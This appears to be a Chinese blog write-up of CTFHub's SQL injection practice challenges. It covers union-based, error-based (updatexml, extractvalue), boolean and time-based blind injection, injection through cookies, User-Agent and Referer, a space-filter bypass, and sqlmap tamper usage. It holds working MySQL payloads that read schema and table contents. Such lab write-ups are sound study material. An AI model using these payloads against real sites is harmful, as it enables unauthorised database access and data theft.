CTFHUB-技能树-Web-SQL注入

整数型

已经说了是整数型注入了,就直接开始吧

1 order by 1/2/3,当为3时返回页面不一样,所以字段有两个

爆数据库 -1 union select 1,database() ##注:这里用-1是为了‘腾位子’给后面的联合查询

爆表名 -1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'

爆列名 -1 union select 1,group_concat(column_name)from information_schema.columns where table_name='flag'

爆字段 -1 union select 1,group_concat(flag)from flag

字符型

爆字段数1' order by 1/2/3 #爆出来依旧是2个

爆数据库

爆表名

爆列名

爆字段名

报错注入

一、updatexml(三个参数):updatexml的报错原因很简单,updatexml第二个参数需要的是Xpath格式的字符串,但是我们第二个参数很明显不是,而是我们想要获得的数据,所以会报错,并且在报错的时候会将其内容显示出来,从而获得我们想要的数据

格式:1 and (updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1));中间的select语句参考上面的整数或字符型注入

这里显示不了完整的flag,所以要拼接一下:1 and (updatexml(1,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e),1)); 注:mid换成right还差一个反大括号

二、extractvalue(两个参数):原理是和updatexml一样的,只是参数数量不同

格式:1 and/or extractvalue(1,concat(0x7e,(select group_concat(flag) from flag)))

同样需要拼接,参考上面

布尔盲注

原理就是根据字符的ASCII对比,爆出flag的所有字符,手工注入不是人干的事啊

比较出database的长度

然后逐个比较出每个字符的ascii值(列举一个)

。。。(省略)

然后就是表数

表名

列数

列名

flag

这里还是用sqlmap跑一下,手工注入旨在理解原理,sqlmap可以提高效率

sqlmap使用的时候如果第一次没跑出来可以多试几次,有可能是题目服务器的问题

爆数据库

爆表名

爆列名

爆flag字段

时间盲注

原理就是跟据页面返回的时间来判断命令的执行结果

格式:1 and if(payload,sleep(3),1),如果payload执行成功则暂停3秒,否则直接执行,也就是说如果执行成功回显页面会很慢,反之就直接回显页面

payload参数参考上面的布尔盲注

然后同样用sqlmap做,命令和上面的一样,这里再贴上一个大佬的脚本https://www.cnblogs.com/anweilx/p/12485726.html

Cookie注入
原理和整数型注入是一样的,两种方法,一是可以直接F12修改cookie值,二是抓包修改重发

UA注入
emm,注入点是User-Agent,其余同上,直接抓包重发

Refer注入
注入点是referer,其余同上

过滤空格
先试一下带空格的,发现被过滤

绕过姿势,用/**/替换空格////补充:information_schema被过滤可以用sys.x$schema_flattened_keys替换
其余同整数型注入
这里再提一下用sql注入这类过滤某字符的用法,正常用是注不了的,所以就需要一下tamper.py里面的脚本,其实就是替换字符,注意这个是下载sqlmap包里就有的
在原本的sqlmap的命令后面加上 --tamper "space2comment.py(脚本名)"即可

参考自https://www.cnblogs.com/mark0/p/12349551.html

更改等级可以看到payload!!记录一下

参考:https://blog.csdn.net/whatday/article/details/54774043

posted @ 2020-09-24 11:30  Web_Fresher  阅读(309)  评论(0编辑  收藏  举报